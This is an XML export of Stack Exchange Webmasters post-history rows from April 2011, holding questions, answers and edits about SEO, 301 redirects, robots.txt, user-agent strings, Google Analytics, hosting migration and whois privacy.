  <row Id="29814" PostHistoryTypeId="4" PostId="12992" RevisionGUID="ffa9878f-b37d-4543-a71e-32d0c552d3b3" CreationDate="2011-04-27T12:24:16.963" UserId="5581" Comment="edited title" Text="Redirect different domains to your main site" />
  <row Id="29815" PostHistoryTypeId="5" PostId="12961" RevisionGUID="0685f652-1195-453d-acc4-3a12ae3aa7c3" CreationDate="2011-04-27T12:52:03.620" UserDisplayName="delete" Comment="added 58 characters in body" Text="I've noticed that tineye.com does not attempt to fetch &quot;robots.txt&quot; from my website. It also sends a &quot;user agent&quot; string consisting of the user's browser with &quot;TinEye/1.0 (via http://www.tineye.com/)&quot; tagged on to the end. &#xD;&#xA;&#xD;&#xA;Is this correct behaviour? If I write something which fetches one file from a web site, at the user's discretion, is it acceptable to not fetch &quot;robots.txt&quot;? Or should any automated program always obey robots.txt?&#xD;&#xA;&#xD;&#xA;Please note **this is not a question about tineye.com**.&#xD;&#xA;" />
  <row Id="29817" PostHistoryTypeId="5" PostId="12989" RevisionGUID="1bdac207-92e3-4cfe-b9ec-6c0398d8e898" CreationDate="2011-04-27T13:00:12.457" UserId="1643" Comment="Removed bit not relevant to actual question." Text="Using robots.txt is only ever voluntary, there's no international law that says you should. " />
  <row Id="29826" PostHistoryTypeId="2" PostId="12995" RevisionGUID="f1183191-d467-4abe-9f21-869af85fbe49" CreationDate="2011-04-27T13:24:28.230" UserId="6858" Text="The best solution I can think of is point an A record in your DNS to the elastic IP from AWS. This has the advantage that it never actually hits your host - it goes straight from the DNS to AWS, so it should be faster as well." />
  <row Id="29828" PostHistoryTypeId="2" PostId="12996" RevisionGUID="f1fe3238-a316-477c-b79b-ef8a3fafefdb" CreationDate="2011-04-27T13:27:55.477" UserId="108" Text="It is not bad for business and it is not bad SEO if all you do is a 301 redirect when you hit any of the other domains. Google even considers that a good thing because you are essentially telling them that those other domains are also just owned by you.&#xD;&#xA;&#xD;&#xA;Tons of major sites do this already like American Airlines, americanairlines.com redirects to their main site (aa.com), and bn.com redirects to Barnes and Nobles main website.  Some sites even own common misspellings and do 301 redirects from those domains just to make sure if you mistype the domain you still find them.&#xD;&#xA;&#xD;&#xA;Where you can run into issues is when you create content at domain-dragon.com that is a duplicate of a page on domain.com and add links to it that go to the duplicate content page on domain.com.&#xD;&#xA;&#xD;&#xA;One last thing to do is make sure your 301 is setup properly by using a tool like http://www.internetofficer.com/seo-tool/redirect-check/ or fiddler to confirm your redirect is a 301 and has all of the proper header info it needs." />
  <row Id="29830" PostHistoryTypeId="2" PostId="12998" RevisionGUID="0a617d3d-8e03-4ca2-98d6-476025f8b359" CreationDate="2011-04-27T13:40:39.490" UserId="108" Text="A great deal of the confusion and misdirection online comes from the fact that Google and Microsoft intentionally withhold SEO ranking factors and that they both update their algorithms all the time.  That means the freshness of what you are reading is just as important as the source.  Sometimes a big SEO factor can become marginalized in a very short period of time so you have to really keep up.&#xD;&#xA;&#xD;&#xA;I agree with Mike Hudson's answer that SEO Book, SEOMox, and Search Engine Land all can give you the best value.  If you read the free articles from all 3 and compare I think you can a good picture of where SEO is today.  I would also suggest spending the money to sign up for the pay content on any of those sites as they give extra benefits and help. &#xD;&#xA;&#xD;&#xA;Anyone claiming to know 100% what all of the best things to do for SEO are is either a liar, a black hat seo, or works for Google/Bing.  Don't get me wrong, I am not saying that there aren't experts or people who are leaps and bounds ahead of the rest but like I said before Google and Bing don't release their algorithms.  Even if someone guessed the 200-1000 signals correctly they would also need to know the exact weight each item has in order to know how to attack SEO the best." />
  <row Id="29832" PostHistoryTypeId="5" PostId="12974" RevisionGUID="75e8b0b3-860a-40a4-ab28-8dbbfbb48a8b" CreationDate="2011-04-27T13:51:42.380" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to know that my site is getting index/rank by search engine](http://webmasters.stackexchange.com/questions/12706/how-to-know-that-my-site-is-getting-index-rank-by-search-engine)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi&lt;br /&gt;&#xD;&#xA;I have uploaded dozen of new web page(those are xxx.html file) one month ago, but I can't find them on Google/Yahoo search result, how can I know that they are/aren't indexed by Google/Yahoo?" />
  <row Id="29833" PostHistoryTypeId="10" PostId="12974" RevisionGUID="ccadf040-5c8d-4821-82f5-fd60e4ad287a" CreationDate="2011-04-27T13:51:42.053" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29834" PostHistoryTypeId="5" PostId="12397" RevisionGUID="1f792cd2-2ce7-4785-942a-fe3dff5fbba7" CreationDate="2011-04-27T13:53:01.710" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Buy a registered domain?](http://webmasters.stackexchange.com/questions/9947/buy-a-registered-domain)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm in the process of creating this website, but the name I wanted for the hosting seems to be taken. Namejet seems to be auctioning it, but it seems a bit too fishy for my taste. I go to the link and there's nothing there, just ads. &#xD;&#xA;&#xD;&#xA;Can anyone recommend what the best way to get a domain owned by someone else is? My only alternative seems to be making an extremely long one nobody will remember!&#xD;&#xA;&#xD;&#xA;Sorry for the extremely noob question, but hey, need to start somewhere.&#xD;&#xA;" />
  <row Id="29835" PostHistoryTypeId="10" PostId="12397" RevisionGUID="7019304a-bd2e-4e6c-9cbc-e3ec88a41fe0" CreationDate="2011-04-27T13:53:01.443" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29836" PostHistoryTypeId="2" PostId="12999" RevisionGUID="a4e6b9ce-888f-4d7f-abe1-6a1ce8565fea" CreationDate="2011-04-27T13:55:14.020" UserId="108" Text="Linking between pages is important for two reasons.  First it gives the crawlers a good understanding of what pages exists in your site and second it passes the page rank that exists on some of your pages around to other pages.  This is actually a fairly complex issue. Here are a couple of things to consider:&#xD;&#xA;&#xD;&#xA; 1. If you have a page with page rank, the page rank will be divided among all links in on that page and passed on through all links that do not have the no-follow tag. However, it is a 100% transfer so if your page has a PR of 5 and you have 5 total links and none have the no-follow tag, each page linked to will receive less that 1 PR (there is a modifier, we don't know what it exactly, just that it reduces flow through juice). Google does this to stop circular linking and other Black Hat tricks.&#xD;&#xA; 2. The anchor text within your links, even internally, are very important in that it they tell Google what the page being linked to is about.  So if you use the word &quot;here&quot; Google won't understand as well what the page is about but if every link within your site to your home page has the anchor text &quot;frog&quot; and the page linked to is about frogs Google will consider that page from Frog searches (obviously there are many factors as to how well the page will rank).  With that in mind if you home page is about Green Frogs or Brazilian Frogs then it is even better to use that as your anchor text.  &#xD;&#xA; 3. While it may sound corny Google always tries to state that doing what is best for the user will help SEO. In this case that is completely true.  Having links that with clear anchor text is extremely useful to the user and to your ranking with Google." />
  <row Id="29837" PostHistoryTypeId="5" PostId="12927" RevisionGUID="e60c1855-f193-46f5-a108-dfa08232bb88" CreationDate="2011-04-27T13:57:10.507" UserId="1253" Comment="fixed incoherent text" Text="[There are lots of easy ways to find tips to help you][1]. Just keep in mind that quantity of links doesn't really help you. Quality is what matters. The quicker and easier it is to get a link the less value it almost certainly has. So instead of trying to get as many links as you can, you should be focusing on getting quality links.&#xD;&#xA;&#xD;&#xA;FYI, the best way to get quality links is to have great content on your website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=get%20inbound%20links" />
  <row Id="29838" PostHistoryTypeId="2" PostId="13000" RevisionGUID="57546a35-921b-43da-bec9-46ddf58a8afa" CreationDate="2011-04-27T14:23:43.260" UserId="7126" Text="In Google Analytics, from the dashboard, clicking 'Content' in the left hand pane, and then clicking 'In-Page Analytics' brings up an awesome interface for seeing where users have actually clicked in the site.  **However**, it seems to only bring up the root page.  From there, I can navigate to other pages by clicking on the links myself, but I can't figure out how to display In-Page analytics for a page that I can't navigate to just by clicking, for example /products/red-shoes.&#xD;&#xA;&#xD;&#xA;So, how do I change the url for which in-page analytics are being displayed?  Hopefully there's just something simple I am missing." />
  <row Id="29839" PostHistoryTypeId="1" PostId="13000" RevisionGUID="57546a35-921b-43da-bec9-46ddf58a8afa" CreationDate="2011-04-27T14:23:43.260" UserId="7126" Text="How do you change the url that Google Analytics' In-Page Analytics displays?" />
  <row Id="29840" PostHistoryTypeId="3" PostId="13000" RevisionGUID="57546a35-921b-43da-bec9-46ddf58a8afa" CreationDate="2011-04-27T14:23:43.260" UserId="7126" Text="&lt;google&gt;&lt;google-analytics&gt;" />
  <row Id="29841" PostHistoryTypeId="2" PostId="13001" RevisionGUID="9de9897f-8c3a-442b-9003-4946f92a8576" CreationDate="2011-04-27T14:25:26.380" UserId="1112" Text="My logs recently showed the following user-agent:&#xD;&#xA;&#xD;&#xA;samsung-gt-s5620 UNTRUSTED/1.0&#xD;&#xA;&#xD;&#xA;Why would a user-agent have untrusted in caps in its name?" />
  <row Id="29842" PostHistoryTypeId="1" PostId="13001" RevisionGUID="9de9897f-8c3a-442b-9003-4946f92a8576" CreationDate="2011-04-27T14:25:26.380" UserId="1112" Text="Untrusted user-agent?" />
  <row Id="29843" PostHistoryTypeId="3" PostId="13001" RevisionGUID="9de9897f-8c3a-442b-9003-4946f92a8576" CreationDate="2011-04-27T14:25:26.380" UserId="1112" Text="&lt;user-agent&gt;" />
  <row Id="29844" PostHistoryTypeId="2" PostId="13002" RevisionGUID="7b59622b-5e3f-4e09-8920-11ebcdf58ac4" CreationDate="2011-04-27T14:41:37.650" UserId="1643" Text="Possibly because the phone considers the browser an untrusted application." />
  <row Id="29845" PostHistoryTypeId="25" PostId="12992" RevisionGUID="a013d502-1bb6-41f5-8e60-a14aeca8c772" CreationDate="2011-04-27T15:09:21.483" Comment="http://twitter.com/#!/StackWebmasters/status/63258437991141376" />
  <row Id="29847" PostHistoryTypeId="2" PostId="13004" RevisionGUID="10f73be9-5e58-4996-a5aa-18dbb4ce8fee" CreationDate="2011-04-27T15:25:21.667" UserId="6597" Text="The User-Agent is a HTTP header sent by browsers. Thus, everything can be put in it. It is a decision made by the browser manufacturer." />
  <row Id="29848" PostHistoryTypeId="2" PostId="13005" RevisionGUID="45b9cc79-8b3c-4c38-8ee7-ee534022f50d" CreationDate="2011-04-27T15:52:42.477" UserId="4502" Text="This turned out(see comments) to have been Firefox stashing a value for page zoom. Can be reset with Ctrl-0." />
  <row Id="29852" PostHistoryTypeId="2" PostId="13007" RevisionGUID="9f789dc5-1473-4e67-9f32-e281e45a2821" CreationDate="2011-04-27T16:10:32.050" UserId="1253" Text="*(I had to stop writing at some point. I'll probably continually revise this. Keep in mind, this isn't meant to be a comprehensive lesson in SEO. It's meant to help demonstrate how simple SEO is and how to spot the people who have strayed from that reality.)*&#xD;&#xA;&#xD;&#xA;I actually don't like any of the websites recommended by the above users for the following reasons:&#xD;&#xA;&#xD;&#xA; - **They're in it for the money.** They don't do this because of their altruistic nature. They're out to make a buck. They don't care about you or your website and will do whatever they can to get you to part with your money. (This ties into the next item).&#xD;&#xA;&#xD;&#xA; - **They make you think SEO is changing constantly.** Guess what? It isn't. But they have to constantly churn out theories and tools and nonsense in order to make you think that SEO is this bing complicated thing that requires &quot;experts&quot; like them and expensive books and tools and constant work and gathering of information in order to succeed. It's simply untrue. (Every time you visit their site looking for the latest hot tip or trick (*barf*) you're making them money).&#xD;&#xA;&#xD;&#xA; - **They're wrong or behind the curve a lot.** Because they're job is to constantly spew out &quot;information&quot; they tend to offer advice that is misguided or flat out wrong. (I don't have any examples handy but if you look around it isn't hard to find). But they don't care if they're wrong because it isn't their bottom line they're hurting and they can always claim &quot;SEO is a changing game&quot; and it's not their fault they were wrong.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you chek these forums, or anywhere I lurk for that matter, you'll see that the only SEO guru that I recommend (or even call guru) is [Chris Beasley][1]. Not only does he have a long history of getting it right  (and before anyone else does, check out his site and the SitePoint SEO forums) but he doesn't pretend that SEO is this big complex constantly changing game. It's zero BS SEO advice. Take it or leave it. He doesn't really care what you do because he's not trying to get rich off of people's ignorance. He's glad to share his knowledge and if you take advantage of that, cool. If you don't, oh well.&#xD;&#xA;&#xD;&#xA;As for how you can tell what's good SEO advice and what's not? Here's two litmus tests you can use. One for the source of the information, one for the information itself.&#xD;&#xA;&#xD;&#xA;**SEO Source Litmus Test**&#xD;&#xA;&#xD;&#xA; - Are they trying to profit from the information? If &quot;yes&quot; it's less credible.&#xD;&#xA;&#xD;&#xA; - Do they have any kind of testing or other empirical evidence that backs up their claim? If &quot;no&quot; it's less credible.&#xD;&#xA;&#xD;&#xA; - Does the person offer logic and reason to back up their conclusion that doesn't violate any of the *SEO Information Litmus Test* items below? If &quot;yes&quot; then the information is less credible.&#xD;&#xA;&#xD;&#xA; - If the advice is in a forum or some other community, what kind of response does the user get? Lots of agreement? Or disagreement? Who is agreeing/disagreeing? If it's a newbie who is only supported by other newbies (the &quot;me too&quot; people) then it's less credible.&#xD;&#xA;&#xD;&#xA;**SEO Information Litmus Test**&#xD;&#xA;&#xD;&#xA;SEO is really just making sure a website is built properly. Yes, it's that simple. And it can be broken down into four categories. They are:&#xD;&#xA;&#xD;&#xA; 1. **Usability** - People are stupid. We all know that. A good website will assume every user is stupid and needs to have their hand held as they use the website. This means everything is clearly labeled and flows in a logical manner. How does this affect SEO? If everything is clearly labeled and flows in a logical manner then search engines will also be able to follow it and understand what it is doing and where it is. Needless to say that's very important when determining what a page is about and how everything relates to each other.&#xD;&#xA;&#xD;&#xA;  (What falls under usability? cross-linking internal pages, sitemaps, proper page and heading titles)&#xD;&#xA;&#xD;&#xA; 2. **Accessibility** - A well-built website can be used by *anyone*. This includes visually and physically impaired users. So, you need to make sure your website can be used by someone with no JavaScript, images, CSS capabilities, mouse, etc. How does this affect SEO? Search engine bots are not much different then a blind user. In fact if you use a screen reader you can get a pretty good idea of what Googlebot is experiencing. So if your site is accessible to impaired humans, it will be available to search engines.&#xD;&#xA;&#xD;&#xA;  (What falls under accessibility? alt attributes, not relying on JavaScript for content)&#xD;&#xA;&#xD;&#xA; 3. **Semantic markup** - Any experienced web developer will tell you that separating your JavaScript and CSS and using the proper tags for markup makes the site much easier to maintain and offers external tools (directory crawlers, etc) the information they want quite easily. Plus if you use proper markup your site is &quot;futureproof&quot; as you can be sure standards compliant user-agents will render your site properly. How does this affect SEO? HTML markup is a *big* indicator to search engines as to the meaning and value of content. Using the proper markup allows any user-agent to comprehend data format and structure. It tells them what's important and what kind of information it is (knowledge, address, table of contents, etc).&#xD;&#xA;&#xD;&#xA;  (What falls under semantic markup? microformats, tags like `&lt;address&gt;` and `&lt;abbr&gt;`, using heading tags)&#xD;&#xA;&#xD;&#xA; 4. **Content quality** - People aren't surfing the Internet looking for garbage. They're looking for information that solves a need they have (to know something, to be amused, etc). The better the content the more likely they are to come back and, even better, tell their friends. How does this affect SEO? *This is how you get quality links to your website!!* Search engines have a difficult telling quality from crap. So they rely on other webmasters to do it for them. That's why links from external sites carry so much weight. (We'll save the quality issue for another day).&#xD;&#xA;&#xD;&#xA;  (What falls under content quality? original content, links from external sites)&#xD;&#xA;&#xD;&#xA;If a piece of advice does not fall into one of these categories then it's probably just plain old wrong.&#xD;&#xA;&#xD;&#xA;(Seeking links from other website is *marketing*. It can be debated if it should be listed here. I chose not to as quality content can do that for you).&#xD;&#xA;&#xD;&#xA;**Other helpful information**&#xD;&#xA;&#xD;&#xA; - SE algorithms consists of two basic parts: page ranking and spam control. 99% of the people who talk about SEO do not know this and confuse the two which causes lots of problems. (FYI, Matts Cutts is the head of the Google Spam Control team). So when people say &quot;SEO is constantly changing&quot; they're wrong. How pages are ranked has barely changed in years. What is constantly changing is the search engines' ability to fight and remove spam. If spam fighting techniques is affecting your site then it isn't affecting your SEO, it's affecting the fact that you have a crappy website in some way or market your website improperly and need to address those issues. But the basic factors for ranking pages was figured out a long time ago hasn't needed to change. It's how the spam is handled that needs to change (and is).&#xD;&#xA;&#xD;&#xA; - If you have to go back and &quot;SEO your website&quot; then you built it wrong to begin with. Those four basic principles aren't SEO factors, *they're how a website is supposed to be built*. All search engines want is a website that they can use and has good content. It's no coincidence that search engines want the exact same thing.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.websitepublisher.net/" />
  <row Id="29853" PostHistoryTypeId="5" PostId="12982" RevisionGUID="df19dad3-181b-4dd9-84f2-3726e603b14b" CreationDate="2011-04-27T16:16:05.120" UserId="2044" Comment="added 24 characters in body" Text="How can i transfer files from one server http://abc.com to next server http://xyz.com&#xD;&#xA;&#xD;&#xA;I do have only ftp password of http://abc.com [source server] and destination server .&#xD;&#xA;&#xD;&#xA;Which tool can be used?" />
  <row Id="29854" PostHistoryTypeId="5" PostId="13007" RevisionGUID="cfbe13ea-8310-4957-9a2d-02320357f121" CreationDate="2011-04-27T16:18:28.410" UserId="1253" Comment="deleted 11 characters in body; added 185 characters in body" Text="*(I had to stop writing at some point. I'll probably continually revise this. Keep in mind, this isn't meant to be a comprehensive lesson in SEO. It's meant to help demonstrate how simple SEO is and how to spot the people who have strayed from that reality.)*&#xD;&#xA;&#xD;&#xA;I actually don't like any of the websites recommended by the above users for the following reasons:&#xD;&#xA;&#xD;&#xA; - **They're in it for the money.** They don't do this because of their altruistic nature. They're out to make a buck. They don't care about you or your website and will do whatever they can to get you to part with your money. (This ties into the next item).&#xD;&#xA;&#xD;&#xA; - **They make you think SEO is changing constantly.** Guess what? It isn't. But they have to constantly churn out theories and tools and nonsense in order to make you think that SEO is this bing complicated thing that requires &quot;experts&quot; like them and expensive books and tools and constant work and gathering of information in order to succeed. It's simply untrue. (Every time you visit their site looking for the latest hot tip or trick (*barf*) you're making them money).&#xD;&#xA;&#xD;&#xA; - **They're wrong or behind the curve a lot.** Because they're job is to constantly spew out &quot;information&quot; they tend to offer advice that is misguided or flat out wrong. (I don't have any examples handy but if you look around it isn't hard to find). But they don't care if they're wrong because it isn't their bottom line they're hurting and they can always claim &quot;SEO is a changing game&quot; and it's not their fault they were wrong.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you chek these forums, or anywhere I lurk for that matter, you'll see that the only SEO guru that I recommend (or even call guru) is [Chris Beasley][1]. Not only does he have a long history of getting it right  (and before anyone else does, check out his site and the SitePoint SEO forums) but he doesn't pretend that SEO is this big complex constantly changing game. It's zero BS SEO advice. Take it or leave it. He doesn't really care what you do because he's not trying to get rich off of people's ignorance. He's glad to share his knowledge and if you take advantage of that, cool. If you don't, oh well.&#xD;&#xA;&#xD;&#xA;As for how you can tell what's good SEO advice and what's not? Here's two litmus tests you can use. One for the source of the information, one for the information itself.&#xD;&#xA;&#xD;&#xA;**SEO Source Litmus Test**&#xD;&#xA;&#xD;&#xA; - Are they trying to profit from the information? If &quot;yes&quot; it's less credible.&#xD;&#xA;&#xD;&#xA; - Do they have any kind of testing or other empirical evidence that backs up their claim? If &quot;no&quot; it's less credible.&#xD;&#xA;&#xD;&#xA; - Does the person offer logic and reason to back up their conclusion that doesn't violate any of the *SEO Information Litmus Test* items below? If &quot;yes&quot; then the information is less credible.&#xD;&#xA;&#xD;&#xA; - If the advice is in a forum or some other community, what kind of response does the user get? Lots of agreement? Or disagreement? Who is agreeing/disagreeing? If it's a newbie who is only supported by other newbies (the &quot;me too&quot; people) then it's less credible.&#xD;&#xA;&#xD;&#xA; - Was an experiment performed? If so was it done well? (Did they have a control group? Did they rule out other external factors? Can they repeat it)? If not they are less credible.&#xD;&#xA;&#xD;&#xA;**SEO Information Litmus Test**&#xD;&#xA;&#xD;&#xA;SEO is really just making sure a website is built properly. Yes, it's that simple. And it can be broken down into four categories. They are:&#xD;&#xA;&#xD;&#xA; 1. **Usability** - People are stupid. We all know that. A good website will assume every user is stupid and needs to have their hand held as they use the website. This means everything is clearly labeled and flows in a logical manner. How does this affect SEO? If everything is clearly labeled and flows in a logical manner then search engines will also be able to follow it and understand what it is doing and where it is. Needless to say that's very important when determining what a page is about and how everything relates to each other.&#xD;&#xA;&#xD;&#xA;  (What falls under usability? cross-linking internal pages, sitemaps, proper page and heading text)&#xD;&#xA;&#xD;&#xA; 2. **Accessibility** - A well-built website can be used by *anyone*. This includes visually and physically impaired users. So, you need to make sure your website can be used by someone with no JavaScript, images, CSS capabilities, mouse, etc. How does this affect SEO? Search engine bots are not much different then a blind user. In fact if you use a screen reader you can get a pretty good idea of what Googlebot is experiencing. So if your site is accessible to impaired humans, it will be available to search engines.&#xD;&#xA;&#xD;&#xA;  (What falls under accessibility? alt attributes, not relying on JavaScript for content)&#xD;&#xA;&#xD;&#xA; 3. **Semantic markup** - Any experienced web developer will tell you that separating your JavaScript and CSS and using the proper tags for markup makes the site much easier to maintain and offers external tools (directory crawlers, etc) the information they want quite easily. Plus if you use proper markup your site is &quot;futureproof&quot; as you can be sure standards compliant user-agents will render your site properly. How does this affect SEO? HTML markup is a *big* indicator to search engines as to the meaning and value of content. Using the proper markup allows any user-agent to comprehend data format and structure. It tells them what's important and what kind of information it is (knowledge, address, table of contents, etc).&#xD;&#xA;&#xD;&#xA;  (What falls under semantic markup? microformats, tags like `&lt;address&gt;` and `&lt;abbr&gt;`, using heading tags)&#xD;&#xA;&#xD;&#xA; 4. **Content quality** - People aren't surfing the Internet looking for garbage. They're looking for information that solves a need they have (to know something, to be amused, etc). The better the content the more likely they are to come back and, even better, tell their friends. How does this affect SEO? *This is how you get quality links to your website!!* Search engines have a difficult telling quality from crap. So they rely on other webmasters to do it for them. That's why links from external sites carry so much weight. (We'll save the quality issue for another day).&#xD;&#xA;&#xD;&#xA;  (What falls under content quality? original content, links from external sites)&#xD;&#xA;&#xD;&#xA;If a piece of advice does not fall into one of these categories then it's probably just plain old wrong.&#xD;&#xA;&#xD;&#xA;(Seeking links from other website is *marketing*. It can be debated if it should be listed here. I chose not to as quality content can do that for you).&#xD;&#xA;&#xD;&#xA;**Other helpful information**&#xD;&#xA;&#xD;&#xA; - SE algorithms consists of two basic parts: page ranking and spam control. 99% of the people who talk about SEO do not know this and confuse the two which causes lots of problems. (FYI, Matts Cutts is the head of the Google Spam Control team). So when people say &quot;SEO is constantly changing&quot; they're wrong. How pages are ranked has barely changed in years. What is constantly changing is the search engines' ability to fight and remove spam. If spam fighting techniques is affecting your site then it isn't affecting your SEO, it's affecting the fact that you have a crappy website in some way or market your website improperly and need to address those issues. But the basic factors for ranking pages was figured out a long time ago hasn't needed to change. It's how the spam is handled that needs to change (and is).&#xD;&#xA;&#xD;&#xA; - If you have to go back and &quot;SEO your website&quot; then you built it wrong to begin with. Those four basic principles aren't SEO factors, *they're how a website is supposed to be built*. All users want is a website that they can use and has good content. It's no coincidence that search engines want the exact same thing.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.websitepublisher.net/" />
  <row Id="29858" PostHistoryTypeId="5" PostId="12982" RevisionGUID="55f77fa5-79e8-4c73-82a6-ec7b587a327e" CreationDate="2011-04-27T16:22:13.823" UserId="1643" Comment="Improved grammar" Text="How can i transfer files from one server http://abc.com to next server http://xyz.com&#xD;&#xA;&#xD;&#xA;I do have the ftp passwords of http://abc.com [source server] and destination server.&#xD;&#xA;&#xD;&#xA;Which tool can be used?" />
  <row Id="29859" PostHistoryTypeId="24" PostId="12982" RevisionGUID="55f77fa5-79e8-4c73-82a6-ec7b587a327e" CreationDate="2011-04-27T16:22:13.823" Comment="Proposed by 1643 approved by 1253 edit id of 234" />
  <row Id="29861" PostHistoryTypeId="2" PostId="13008" RevisionGUID="2c411e8d-6878-4f3e-9505-3244a4ba399c" CreationDate="2011-04-27T16:29:51.930" UserId="5718" Text="The official Google Webmaster blog at http://googlewebmastercentral.blogspot.com/ and the blog of Matt Cutts http://www.mattcutts.com/blog/ won't tell you how to cheat the system but they do offer lot's of information that dispels some of the myths and also makes it clearer where Google stands on issues relating to SPAM." />
  <row Id="29862" PostHistoryTypeId="19" PostId="3399" RevisionGUID="3efb05f2-b624-4971-8a56-039280c687d9" CreationDate="2011-04-27T16:49:53.263" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29863" PostHistoryTypeId="2" PostId="13009" RevisionGUID="935e3587-376f-4061-8ace-7d08a7ff2cc0" CreationDate="2011-04-27T16:58:54.367" UserId="7129" Text="Can any body help me get the open project from the market.&#xD;&#xA;Related" />
  <row Id="29864" PostHistoryTypeId="1" PostId="13009" RevisionGUID="935e3587-376f-4061-8ace-7d08a7ff2cc0" CreationDate="2011-04-27T16:58:54.367" UserId="7129" Text="Get Java Project" />
  <row Id="29865" PostHistoryTypeId="3" PostId="13009" RevisionGUID="935e3587-376f-4061-8ace-7d08a7ff2cc0" CreationDate="2011-04-27T16:58:54.367" UserId="7129" Text="&lt;google-search&gt;" />
  <row Id="29866" PostHistoryTypeId="10" PostId="13009" RevisionGUID="a057fac7-28e2-4359-93c9-840256381194" CreationDate="2011-04-27T17:10:36.437" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29867" PostHistoryTypeId="2" PostId="13010" RevisionGUID="4ff093a3-4afe-4c1a-b9f8-75ced23e8994" CreationDate="2011-04-27T17:10:54.113" UserId="43" Text="I'm working on moving a client's hosting to a new provider as part of a site redesign. They're currently using Rackspace to host their site. Their domain is registered with ENOM. My one concern is their email accounts. Currently, they login to webmail.theirdomain.com to read email. There is a &quot;control panel&quot; (very minimal) at websitesettings.com for their account, but I can't find any information about email servers there. I'd like to transition them to Google Apps, but I need to first make sure all old emails are backed up, as well as minimize any downtime.&#xD;&#xA;&#xD;&#xA;Has anyone dealt with a setup like this before? Know where I should start?" />
  <row Id="29868" PostHistoryTypeId="1" PostId="13010" RevisionGUID="4ff093a3-4afe-4c1a-b9f8-75ced23e8994" CreationDate="2011-04-27T17:10:54.113" UserId="43" Text="Email settings for a Rackspace Cloud Sites hosted site?" />
  <row Id="29869" PostHistoryTypeId="3" PostId="13010" RevisionGUID="4ff093a3-4afe-4c1a-b9f8-75ced23e8994" CreationDate="2011-04-27T17:10:54.113" UserId="43" Text="&lt;web-hosting&gt;&lt;dns&gt;&lt;email&gt;&lt;rackspace&gt;" />
  <row Id="29870" PostHistoryTypeId="2" PostId="13011" RevisionGUID="08f8242a-db76-4a69-9df1-80fa0de426eb" CreationDate="2011-04-27T17:44:37.183" UserId="5806" Text="Early last year I implemented several new and unique features on [Neocamera][1] and most have been copied by [DPReview][2].&#xD;&#xA;&#xD;&#xA;[They announced the latest one][3] this morning. It is called 'My Short List' there while on Neocamera, it is called 'Camera Bag' which I explained in a [blog post last September][4]. They had a [vague announcement in March][5] for the previously copied features, which I had also since last September, basically search engines for [cameras][6] and [lenses][7] by features or specifications.&#xD;&#xA;&#xD;&#xA;It is obvious that those are the same features but they are presented differently. So this is not a case of design or style being copied, only the capabilities. Once you look at them, you see that there is an uncanny overlap in functionality.&#xD;&#xA;&#xD;&#xA;Can something be done about it? In case it matters, my site is based in Canada while theirs is registered in the UK. It belongs to Amazon, not sure which corporate entity.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.neocamera.com&#xD;&#xA;  [2]: http://www.dpreview.com&#xD;&#xA;  [3]: http://www.dpreview.com/news/1104/11042705newfeatures.asp&#xD;&#xA;  [4]: http://blog.neocamera.com/?p=901&#xD;&#xA;  [5]: http://www.dpreview.com/news/1103/11032810dprenhanced.asp&#xD;&#xA;  [6]: http://www.neocamera.com/search_camera.php&#xD;&#xA;  [7]: http://www.neocamera.com/search_lens.php" />
  <row Id="29871" PostHistoryTypeId="1" PostId="13011" RevisionGUID="08f8242a-db76-4a69-9df1-80fa0de426eb" CreationDate="2011-04-27T17:44:37.183" UserId="5806" Text="What to do about features of a website copied by another bigger one?" />
  <row Id="29872" PostHistoryTypeId="3" PostId="13011" RevisionGUID="08f8242a-db76-4a69-9df1-80fa0de426eb" CreationDate="2011-04-27T17:44:37.183" UserId="5806" Text="&lt;website-features&gt;&lt;copyright&gt;&lt;copy&gt;" />
  <row Id="29876" PostHistoryTypeId="25" PostId="13011" RevisionGUID="bb750707-72cf-4e34-9c02-0b35968abfe7" CreationDate="2011-04-27T18:09:22.070" Comment="http://twitter.com/#!/StackWebmasters/status/63303738869288960" />
  <row Id="29877" PostHistoryTypeId="2" PostId="13013" RevisionGUID="663ffa9f-4169-4f30-b7ef-f7e7d4eca803" CreationDate="2011-04-27T18:18:20.453" UserId="3680" Text="I am registered with a domain name registrar which does not offer an anonymous whois service. However, I am interested in using some third-party service to keep my whois information private. Are there any such services available that do not also require me to register my domain name with them? All I am interested in doing is changing the whois information with my current registrar to point to some company which is able to forward any correspondence to me, while keeping my personal address anonymous.&#xD;&#xA;" />
  <row Id="29878" PostHistoryTypeId="1" PostId="13013" RevisionGUID="663ffa9f-4169-4f30-b7ef-f7e7d4eca803" CreationDate="2011-04-27T18:18:20.453" UserId="3680" Text="List of services for privatizing whois information" />
  <row Id="29879" PostHistoryTypeId="3" PostId="13013" RevisionGUID="663ffa9f-4169-4f30-b7ef-f7e7d4eca803" CreationDate="2011-04-27T18:18:20.453" UserId="3680" Text="&lt;domain-registration&gt;&lt;whois&gt;&lt;privacy&gt;" />
